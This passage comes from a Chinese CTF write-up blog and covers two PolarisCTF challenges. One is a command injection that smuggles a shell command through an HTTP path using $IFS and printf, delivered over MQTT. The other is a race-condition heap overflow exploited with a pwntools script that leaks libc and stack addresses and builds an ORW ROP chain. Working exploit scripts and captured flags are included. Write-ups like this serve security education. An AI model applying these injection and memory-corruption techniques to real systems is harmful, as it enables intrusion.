class=\"wp-block-code\"><code>\u95ee\u9898\u51fa\u5728 http() \u51fd\u6570\u7684\u903b\u8f91\u7f3a\u9677\u548c\u5168\u5c40\u53d8\u91cf\u672a\u622a\u65ad\u5bfc\u81f4\u7684\u547d\u4ee4\u6b8b\u7559\u3002\n\u903b\u8f91\u7f3a\u9677\u7ed5\u8fc7\u6267\u884c\uff1a\u7a0b\u5e8f\u89e3\u6790 HTTP \u62a5\u6587\u5bfb\u627e ContentLength\uff0c\u5982\u679c\u627e\u4e0d\u5230\u4f1a\u5c06 v5 \u7f6e\u4e3a 0\uff0c\u8fd9\u610f\u5473\u7740\u540e\u7eed\u4e0d\u4f1a\u6267\u884c popen\u3002\u4f46\u662f\u7a0b\u5e8f\u5e76\u6ca1\u6709 return \u9000\u51fa\uff0c\u800c\u662f\u7ee7\u7eed\u5f80\u4e0b\u8d70\u3002\nmemcpy \u5168\u5c40\u53d8\u91cf\u6c61\u67d3\uff1a\n\nsnprintf(src, 0x80u, \"cat \/home\/ctf\/%s\", s);\nv7 = strlen(src);\nmemcpy(cmd, src, v7);\n\n\u4ee3\u7801\u4f7f\u7528 memcpy \u628a\u62fc\u63a5\u597d\u7684\u547d\u4ee4\u5199\u5165\u5168\u5c40\u53d8\u91cf cmd\uff0c\u957f\u5ea6\u4e3a strlen(src)\u3002\u56e0\u4e3a memcpy \u4e0d\u4f1a\u50cf strcpy \u90a3\u6837\u81ea\u52a8\u5728\u672b\u5c3e\u8865 \uff0c\u8fd9\u5c31\u5bfc\u81f4\uff1a\u5982\u679c\u6211\u4eec\u5148\u5199\u5165\u4e00\u4e2a\u957f\u5b57\u7b26\u4e32\uff0c\u518d\u5199\u5165\u4e00\u4e2a\u77ed\u5b57\u7b26\u4e32\uff0c\u77ed\u5b57\u7b26\u4e32\u53ea\u80fd\u8986\u76d6\u957f\u5b57\u7b26\u4e32\u7684\u524d\u534a\u90e8\u5206\uff0c\u540e\u534a\u90e8\u5206\u4f1a\u539f\u6837\u6b8b\u7559\u3002\n\u8fc7\u6ee4\u673a\u5236\uff1a\u4ee3\u7801\u4f1a\u628a\u8def\u5f84\u4e2d\u7684 \/ \u548c . \u66ff\u6362\u4e3a _\uff0c\u4e14\u6b63\u5219 %63&#91;^ \"rn\/] \u9650\u5236\u4e86\u7a7a\u683c\u548c\u53cc\u5f15\u53f7\u3002<\/code><\/pre>\n\n\n\n<p>\u5229\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u901a\u8fc7\u201c\u4e24\u6b21\u53d1\u5305\u201d\u5b9e\u73b0\u547d\u4ee4\u6ce8\u5165\uff1a\n\n\u7b2c\u4e00\u9636\u6bb5\uff1a\u690d\u5165\u6076\u610f\u547d\u4ee4\uff08\u4e0d\u89e6\u53d1\u6267\u884c\uff09\n\u53d1\u9001\u4e00\u4e2a\u8d85\u957f\u8bf7\u6c42\uff0c\u4e0d\u5e26 ContentLength\u3002\u8bf7\u6c42\u8def\u5f84\u4e2d\u5305\u542b\u6211\u4eec\u60f3\u6267\u884c\u7684 shell \u547d\u4ee4\uff0c\u6bd4\u5982\u5229\u7528 $IFS \u7ed5\u8fc7\u7a7a\u683c\uff0c\u5229\u7528 printf '57' \u7ed5\u8fc7\u659c\u6760\u8fc7\u6ee4\u3002\n\u56e0\u4e3a\u6ca1\u6709 ContentLength\uff0cpopen \u4e0d\u4f1a\u89e6\u53d1\uff0c\u4f46\u957f\u547d\u4ee4\u88ab\u5199\u5165\u4e86\u5168\u5c40\u53d8\u91cf cmd\u3002\n\n\u7b2c\u4e8c\u9636\u6bb5\uff1a\u89e6\u53d1\u6267\u884c\uff08\u8986\u76d6\u524d\u7f00\uff09\n\u53d1\u9001\u4e00\u4e2a\u6b63\u5e38\u7684\u8bf7\u6c42\u8bfb\u53d6 index_html\uff0c\u5e76\u5e26\u4e0a\u5408\u6cd5\u7684 ContentLength: 10\u3002\n\u6b64\u65f6\u751f\u6210\u7684\u77ed\u547d\u4ee4 cat \/home\/ctf\/index_html\uff08\u521a\u597d24\u5b57\u8282\uff09\u4f1a\u8986\u76d6\u6389 cmd \u91cc\u7684\u524d24\u5b57\u8282\u3002\u53ea\u8981\u6211\u4eec\u7b2c\u4e00\u9636\u6bb5\u6784\u9020\u7684\u65e0\u7528\u524d\u7f00\u4e5f\u662f24\u5b57\u8282\uff0c\u5c31\u80fd\u5b8c\u7f8e\u62fc\u63a5\u6210 cat \/home\/ctf\/index_html; &#91;\u6076\u610f\u547d\u4ee4]\uff0c\u968f\u540e\u89e6\u53d1 popen \u6267\u884c\u62ff\u5230\u56de\u663e\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import paho.mqtt.client as mqtt\nimport time\nimport json\nimport os\n\nHOST = \"nc1.ctfplus.cn\"\nPORT = 31785\nTOPIC = \"HTTP\"\nCLIENT_ID = \"hacker_client\"\n\ndef on_connect(client, userdata, flags, reason_code, properties=None):\n    client.subscribe(TOPIC)\n\ndef on_message(client, userdata, msg):\n    try:\n        data = json.loads(msg.payload.decode())\n        if data.get(\"clientid\") == \"httpclient\":\n            output = data.get(\"message\", \"\")\n            if output.strip():\n                print(output)\n            if \"flag{\" in output.lower() or \"polarisctf{\" in output.lower():\n                os._exit(0)\n    except Exception:\n        pass\n\ndef main():\n    client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, client_id=CLIENT_ID)\n    client.on_connect = on_connect\n    client.on_message = on_message\n\n    client.connect(HOST, PORT, 60)\n    client.loop_start()\n\n    time.sleep(1)\n\n    payload1 = b\"GET \/ctf\/AAAAAAAAAA;cat${IFS}*${IFS}$(printf${IFS}'\\57flag') HTTP\/1.1rn\"\n    client.publish(TOPIC, payload1)\n\n    time.sleep(1)\n\n    payload2 = b\"GET \/ctf\/index_html HTTP\/1.1rnHost: arnContentLength: 10rn\"\n    client.publish(TOPIC, payload2)\n\n    try:\n        while True:\n            time.sleep(0.1)\n    except KeyboardInterrupt:\n        os._exit(0)\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-325-1024x118.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"118\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-325-1024x118.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3336\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>polarisctf{57007cba-11fe-4506-803e-7f9c27adce6d}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Throne Hazard<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-326.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"944\" height=\"575\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-326.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3337\"  sizes=\"auto, (max-width: 944px) 100vw, 944px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-327-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-327-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3338\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7a0b\u5e8f\u5f00\u542f\u4e86\u4e25\u683c\u7684 Seccomp \u6c99\u7bb1\uff08\u7531 prctl(22, 2, &amp;unk_4040C0) \u53ef\u77e5\uff09\uff0c\u7981\u7528\u4e86 execve \u7b49\u7cfb\u7edf\u8c03\u7528\uff0c\u65e0\u6cd5\u76f4\u63a5 get shell\uff0c\u5fc5\u987b\u6784\u9020 ORW ROP \u94fe\u6765\u8bfb\u53d6 flag\u3002<\/code><\/pre>\n\n\n\n<p>\u6761\u4ef6\u7ade\u4e89\u5bfc\u81f4\u7684\u5806\u6ea2\u51fa<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5b58\u5728\u4e8e\u4e3b\u7ebf\u7a0b\uff08<code>main<\/code> \u9009\u9879 2\uff09\u4e0e\u540e\u53f0\u7ebf\u7a0b\uff08<code>start_routine<\/code>\uff09\u5bf9\u5168\u5c40\u53d8\u91cf <code>dword_4040A4<\/code>\u7684\u5f02\u6b65\u8bfb\u5199\u4e2d\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-328-1024x543.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"543\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-328-1024x543.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3339\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>if ( (unsigned int)dword_4040A4 &gt; 0x20 ) { \n    \/\/ ...\n} else {\n    \/\/ 1. \u5206\u914d 0x30 \u5927\u5c0f\u7684\u5806\u5757\n    v9 = calloc(0x30u, 1u); \n\n    \/\/ 2. \u5524\u9192\u540e\u53f0\u7ebf\u7a0b\n    dword_404140 = 1; \n\n    \/\/ 3. \u963b\u585e\u7b49\u5f85\u7528\u6237\u8f93\u5165 1 \u5b57\u8282\n    sub_401D90(&amp;v11, 1); \n\n    \/\/ 4. \u6839\u636e\u5f53\u524d\u7684 dword_4040A4 \u8ba1\u7b97\u5269\u4f59\u8bfb\u53d6\u5927\u5c0f\n    v10 = (unsigned int)dword_4040A4 + 15LL; \n    sub_401D90(qword_4041F8 + 1, v10); \/\/ \u6f0f\u6d1e\u70b9\uff1a\u53d1\u751f\u5806\u6ea2\u51fa\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-329-1024x533.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"533\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-329-1024x533.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3340\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-330-1024x518.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"518\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-330-1024x518.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3341\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u540e\u53f0\u7ebf\u7a0b <code>start_routine<\/code> \u5173\u952e\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if ( dword_404140 == 1 ) {\n    v1 = dword_4040A0; \/\/ \u7528\u6237\u5728\u9009\u98791\u4e2d\u8bbe\u7f6e\u7684 appeal target (\u6700\u59270x78)\n    usleep(v2); \/\/ \u7761\u7720\u77ed\u6682\u65f6\u95f4\n    dword_4040A4 = v1; \/\/ \u7be1\u6539 dword_4040A4 \u7684\u503c\n    \/\/ ...\n}<\/code><\/pre>\n\n\n\n<p>\u5206\u6790\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4e3b\u7ebf\u7a0b\u5728\u68c0\u67e5\u65f6 dword_4040A4 &lt;= 0x20\uff0c\u68c0\u67e5\u901a\u8fc7\u3002\u968f\u540e\u4e3b\u7ebf\u7a0b\u5728 sub_401D90(&amp;v11, 1) \u5904\u963b\u585e\u7b49\u5f85\u8f93\u5165\u3002\u6b64\u65f6\u540e\u53f0\u7ebf\u7a0b\u9192\u6765\uff0c\u5c06 dword_4040A4 \u7be1\u6539\u4e3a\u6211\u4eec\u5728\u9009\u9879 1 \u8bbe\u7f6e\u7684 0x78\u3002\u5f53\u6211\u4eec\u8f93\u5165 1 \u5b57\u8282\u89e3\u9664\u963b\u585e\u540e\uff0c\u4e3b\u7ebf\u7a0b\u4f7f\u7528\u65b0\u7684\u503c\u8ba1\u7b97\u5927\u5c0f\uff1a0x78 + 15 = 135\u3002\n\u6700\u7ec8\u7a0b\u5e8f\u5411 0x30 \u5927\u5c0f\u7684\u5806\u5757\u4e2d\u5199\u5165\u4e86 135 \u5b57\u8282\uff0c\u9020\u6210\u4e25\u91cd\u7684\u5806\u6ea2\u51fa\uff0c\u53ef\u8986\u76d6\u76f8\u90bb\u5806\u5757\u7684\u6570\u636e<\/code><\/pre>\n\n\n\n<p>\u6f0f\u6d1e\u5229\u7528\u6b65\u9aa4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5806\u5e03\u5c40\n\u987a\u5e8f\u6267\u884c\u9009\u9879 2 \u548c \u9009\u9879 3\n\u5185\u5b58\u4e2d\u5f62\u6210\u76f8\u90bb\u5e03\u5c40\uff1a&#91;Capsule chunk (0x30)] &#91;Actuator chunk (0x48)]\n\n2. \u6cc4\u9732 Libc \u57fa\u5740\n\u64cd\u4f5c\uff1a \u89e6\u53d1\u6761\u4ef6\u7ade\u4e89\uff0c\u8f93\u5165 135 \u5b57\u8282\u8986\u76d6\u76f8\u90bb\u7684 Actuator \u7ed3\u6784\u4f53\u3002\u5c06 Actuator \u7684 lane \u8bbe\u4e3a 0\uff08\u5bf9\u5e94 puts\uff09\uff0c\u5c06\u76ee\u6807\u6307\u9488\u53c2\u6570\u8bbe\u4e3a puts \u7684 GOT \u8868\u5730\u5740\n\u7136\u540ePwntools \u4f7f\u7528 elf.got&#91;'puts'] \u83b7\u53d6\n\u6267\u884c\uff1a \u8c03\u7528\u9009\u9879 6 (Dispatch)\uff0c\u7a0b\u5e8f\u6253\u5370\u51fa puts \u7684\u771f\u5b9e\u5185\u5b58\u5730\u5740\uff0c\u51cf\u53bb Libc \u4e2d\u7684 puts \u504f\u79fb\uff0c\u5f97\u5230 libc_base\n\n3. \u6cc4\u9732\u6808\u5730\u5740 \n\u64cd\u4f5c\uff1a \u518d\u6b21\u89e6\u53d1\u6761\u4ef6\u7ade\u4e89\u8986\u76d6 Actuator\uff0clane \u4fdd\u6301 0\uff0c\u76ee\u6807\u6307\u9488\u6307\u5411 Libc \u4e2d\u7684 environ \u53d8\u91cf\n\u83b7\u53d6\u5730\u5740\u65b9\u5f0f\uff1a Pwntools \u4f7f\u7528 libc.sym&#91;'environ'] \u83b7\u53d6\n\u6267\u884c\uff1a \u8c03\u7528\u9009\u9879 6\uff0c\u6253\u5370\u51fa\u6808\u5730\u5740 stack_leak\n\n4. \u52ab\u6301\u6808\u8fd4\u56de\u5730\u5740 (ROP\u5e03\u7f6e)\n\u64cd\u4f5c\uff1a main \u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u5927\u7ea6\u5728 stack_leak - 0x150 \u7684\u4f4d\u7f6e\u3002\u7b2c\u4e09\u6b21\u89e6\u53d1\u6761\u4ef6\u7ade\u4e89\uff0c\u5c06 Actuator \u7684 lane \u8bbe\u4e3a 1\uff08\u5bf9\u5e94 read \u8f93\u5165\uff09\uff0c\u76ee\u6807\u6307\u9488\u6307\u5411 main \u7684\u8fd4\u56de\u5730\u5740\n\u83b7\u53d6\u5730\u5740\u65b9\u5f0f\uff1a \u7ed3\u5408 pwntools ROP(libc) \u81ea\u52a8\u5bfb\u627e ret\u3001pop rdi \u7b49 gadget \u751f\u6210 ORW \u94fe\n\u6267\u884c\uff1a \u8c03\u7528\u9009\u9879 6\uff0c\u5411\u88ab\u52ab\u6301\u7684\u6808\u5730\u5740\u5199\u5165 Ret Sled\uff08\u6ed1\u677f\u6307\u4ee4\uff0c\u63d0\u9ad8\u547d\u4e2d\u7387\uff09 + ORW ROP \u94fe\n\n5. \u89e6\u53d1 ROP\n\u9009\u62e9\u9009\u9879 8 (Exit) \u9000\u51fa\u4e3b\u5faa\u73af\uff0cmain \u51fd\u6570\u6267\u884c ret\uff0c\u7531\u4e8e\u8fd4\u56de\u5730\u5740\u5df2\u88ab\u8986\u76d6\uff0c\u63a7\u5236\u6d41\u6ed1\u5165 ORW \u94fe\uff0c\u6253\u5f00\u5e76\u8bfb\u53d6 flag \u8f93\u51fa\u5230\u5c4f\u5e55<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nimport time\n\nBINARY_NAME = '.\/pwn'\nLIBC_NAME = '.\/libc.so.6'\n\ncontext.arch = 'amd64'\ncontext.os = 'linux'\n\ndef solve():\n    elf = ELF(BINARY_NAME, checksec=False)\n    libc = ELF(LIBC_NAME, checksec=False)\n\n    io = remote('nc1.ctfplus.cn', 43799)\n\n    def appeal(target):\n        io.sendlineafter(b\"&gt; \", b\"1\")\n        io.sendlineafter(b\"&gt; \", str(target).encode())\n\n    def forge_race(primer, stream=b\"\", target_val=0x78):\n        while True:\n            appeal(target_val)\n            io.sendlineafter(b\"&gt; \", b\"2\")\n            io.recvuntil(b\"forge primer (1 byte)&gt; \")\n\n            time.sleep(0.18)\n            io.send(primer)\n\n            resp = io.recvuntil(b\"bytes left)&gt; \")\n\n            if b\"0x87\" in resp or b\"135\" in resp:\n                if stream:\n                    io.send(stream)\n                return True\n            else:\n                io.send(b\"A\" * 47)\n                io.recvuntil(b\"forge committed\")\n\n    def build_actuator():\n        io.sendlineafter(b\"&gt; \", b\"3\")\n\n    def dispatch():\n        io.sendlineafter(b\"&gt; \", b\"6\")\n\n    appeal(0x20)\n    io.sendlineafter(b\"&gt; \", b\"2\")\n    io.sendafter(b\"&gt; \", b\"A\")\n    io.sendafter(b\"&gt; \", b\"A\" * 47)\n    build_actuator()\n\n    payload = b\"A\" * 0x2F           \n    payload += p64(0) + p64(0x51)               \n    payload += b\"sentinel-9\".ljust(16, b'x00') \n    payload += p64(0)                           \n    payload += p64(8)                           \n    payload += p64(elf.got&#91;'puts'])             \n    payload = payload.ljust(135, b\"B\")\n\n    forge_race(b\"X\", payload)\n    io.recvuntil(b\"forge committed\")\n\n    dispatch()\n    io.recvuntil(b\"&#91;dispatch lane 0]n\")\n    puts_leak = u64(io.recvline().strip().ljust(8, b'x00'))\n    io.recvuntil(b\"&#91;dispatch complete]\")\n\n    libc.address = puts_leak - libc.sym&#91;'puts']\n    environ_ptr = libc.sym&#91;'environ']\n\n    payload = b\"A\" * 0x2F\n    payload += p64(0) + p64(0x51)\n    payload += b\"sentinel-9\".ljust(16, b'x00')\n    payload += p64(0)               \n    payload += p64(8)               \n    payload += p64(environ_ptr)     \n    payload = payload.ljust(135, b\"B\")\n\n    forge_race(b\"X\", payload)\n    io.recvuntil(b\"forge committed\")\n\n    dispatch()\n    io.recvuntil(b\"&#91;dispatch lane 0]n\")\n    stack_leak = u64(io.recvline().strip().ljust(8, b'x00'))\n    io.recvuntil(b\"&#91;dispatch complete]\")\n\n    if stack_leak == 0:\n        return\n\n    guessed_ret_addr = stack_leak - 0x150 \n    flag_str_addr = guessed_ret_addr + 0x150 \n\n    rop = ROP(libc)\n    rop.call('open', &#91;flag_str_addr, 0])\n    rop.call('read', &#91;3, flag_str_addr, 0x100])\n    rop.call('write', &#91;1, flag_str_addr, 0x100])\n\n    ret_gadget = rop.find_gadget(&#91;'ret'])&#91;0]\n    sled = p64(ret_gadget) * 16  \n\n    rop_payload = sled + rop.chain()\n    rop_payload = rop_payload.ljust(0x150, b'x00') + b\"flagx00\"\n\n    payload = b\"A\" * 0x2F\n    payload += p64(0) + p64(0x51)\n    payload += b\"sentinel-9\".ljust(16, b'x00')\n    payload += p64(1)               \n    payload += p64(len(rop_payload))\n    payload += p64(guessed_ret_addr)        \n    payload = payload.ljust(135, b\"B\")\n\n    forge_race(b\"X\", payload)\n    io.recvuntil(b\"forge committed\")\n\n    io.sendlineafter(b\"&gt; \", b\"6\")\n    io.recvuntil(b\"&#91;dispatch lane 1]n\") \n    io.send(rop_payload)\n    io.recvuntil(b\"&#91;dispatch complete]\")\n\n    io.sendlineafter(b\"&gt; \", b\"8\")\n\n    output = io.recvall(timeout=2).decode(errors='ignore')\n    print(output)\n\nif __name__ == \"__main__\":\n    solve()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-331-1024x297.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"297\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-331-1024x297.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3342\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>polarisctf{cfbdc279-be49-450f-9a2b-8646159cfffb}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Reverse<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">ez_uds<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-332.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"984\" height=\"659\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-332.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3343\"  sizes=\"auto, (max-width: 984px) 100vw, 984px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-333-1024x468.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"468\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-333-1024x468.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3344\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8003\u70b9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6c7d\u8f66\u8f66\u8054\u7f51 UDS \u534f\u8bae\uff080x27 Security Access \u5b89\u5168\u8bbf\u95ee\u670d\u52a1\uff09\n\u5bc6\u7801\u5b66\/\u4f4d\u8fd0\u7b97\uff08\u5f02\u6216\u3001\u5faa\u73af\u4f4d\u79fb\uff09<\/code><\/pre>\n\n\n\n<p>\u89e3\u9898<\/p>\n\n\n\n<figure 